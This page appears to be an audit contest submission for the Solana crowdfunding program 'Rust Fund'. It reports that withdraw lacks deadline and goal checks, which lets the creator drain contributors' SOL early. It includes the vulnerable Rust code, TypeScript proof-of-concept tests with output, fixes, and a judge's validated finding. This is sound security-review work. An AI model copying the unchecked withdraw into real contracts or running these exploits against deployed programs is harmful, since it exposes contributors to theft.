Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: high
Valid

withdraw lacks any deadline or goal check, allowing the creator to drain all contributor SOL at any moment, before goal/deadline are reached

Description

withdraw in programs/rustfund/src/lib.rs performs no check on fund.deadline, Clock::get(), or fund.amount_raised >= fund.goal. The creator (sole signer required by Signer<'info> plus has_one = creator) can call withdraw immediately after fund creation, before any deadline expires, or before the goal is reached.

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
// @> no deadline check, no goal check
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(()) // @> drains amount_raised unconditionally
}

The README explicitly states "Creators can withdraw funds once their campaign succeeds", where success requires both deadline reached AND amount_raised >= goal. Neither condition is enforced.

Risk

The creator can rug-pull every campaign at will:

  1. Create a campaign with a high goal and a long deadline.

  2. Accept SOL contributions from any number of contributors.

  3. Call withdraw immediately and pocket all contributed SOL before any deadline or goal logic could protect contributors.

Combined with the broken-refund bug, contributors can never recover their funds after the rug. The README's "Secure Withdrawals" promise is not enforced anywhere in the code.

Proof of Concept

it("creator drains funds before deadline and before goal", async () => {
// create campaign with goal=1 SOL
await program.methods.fundCreate("attack", "rug", new BN(1_000_000_000))
.accounts({ fund: fundPDA, creator: creator.publicKey, systemProgram: SystemProgram.programId })
.rpc();
// contributor sends 0.5 SOL — campaign not at goal, no deadline passed
await program.methods.contribute(new BN(500_000_000))
.accounts({ fund: fundPDA, contributor: contributor.publicKey, contribution: contributionPDA, systemProgram: SystemProgram.programId })
.signers([contributor]).rpc();
const creatorBalBefore = await provider.connection.getBalance(creator.publicKey);
// creator immediately calls withdraw — no checks
await program.methods.withdraw()
.accounts({ fund: fundPDA, creator: creator.publicKey, systemProgram: SystemProgram.programId })
.rpc();
const creatorBalAfter = await provider.connection.getBalance(creator.publicKey);
expect(creatorBalAfter - creatorBalBefore).to.be.closeTo(500_000_000, 100_000);
// ~0.5 SOL drained
});

Result: [PASS] — creator drains 0.5 SOL before deadline and before goal is reached.

Recommended Mitigation

Add deadline and goal checks at the top of withdraw:

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let fund = &ctx.accounts.fund;
let now: u64 = Clock::get()?.unix_timestamp.try_into().unwrap();
+ // Deadline must be set and reached
+ require!(fund.deadline != 0 && fund.deadline <= now, ErrorCode::DeadlineNotReached);
+ // Goal must be met
+ require!(fund.amount_raised >= fund.goal, ErrorCode::GoalNotReached);
let amount = fund.amount_raised;
// ...transfer lamports as before...
let fund_mut = &mut ctx.accounts.fund;
+ fund_mut.amount_raised = 0; // reset to prevent stale-bookkeeping on subsequent calls
Ok(())
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] No check for if campaign reached deadline before withdraw

## Description A Malicious creator can withdraw funds before the campaign's deadline. ## Vulnerability Details There is no check in withdraw if the campaign ended before the creator can withdraw funds. ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## Impact A Malicious creator can withdraw all the campaign funds before deadline which is against the intended logic of the program. ## Recommendations Add check for if campaign as reached deadline before a creator can withdraw ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { //add this if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } //stops here let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## POC keep everything in `./tests/rustfund.rs` up on to `Contribute to fund` test, then add the below: ```TypeScript it("Creator withdraws funds when deadline is not reached", async () => { const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey); const fund = await program.account.fund.fetch(fundPDA); await new Promise(resolve => setTimeout(resolve, 150)); //default 15000 console.log("goal", fund.goal.toNumber()); console.log("fundBalance", await provider.connection.getBalance(fundPDA)); console.log("creatorBalanceBefore", await provider.connection.getBalance(creator.publicKey)); await program.methods .withdraw() .accounts({ fund: fundPDA, creator: creator.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }) .rpc(); const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey); console.log("creatorBalanceAfter", creatorBalanceAfter); console.log("fundBalanceAfter", await provider.connection.getBalance(fundPDA)); }); ``` this outputs: ```Python goal 1000000000 fundBalance 537590960 creatorBalanceBefore 499999999460946370 creatorBalanceAfter 499999999960941400 fundBalanceAfter 37590960 ✔ Creator withdraws funds when deadline is not reached (398ms) ``` We can notice that the creator withdraws funds from the campaign before the deadline.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!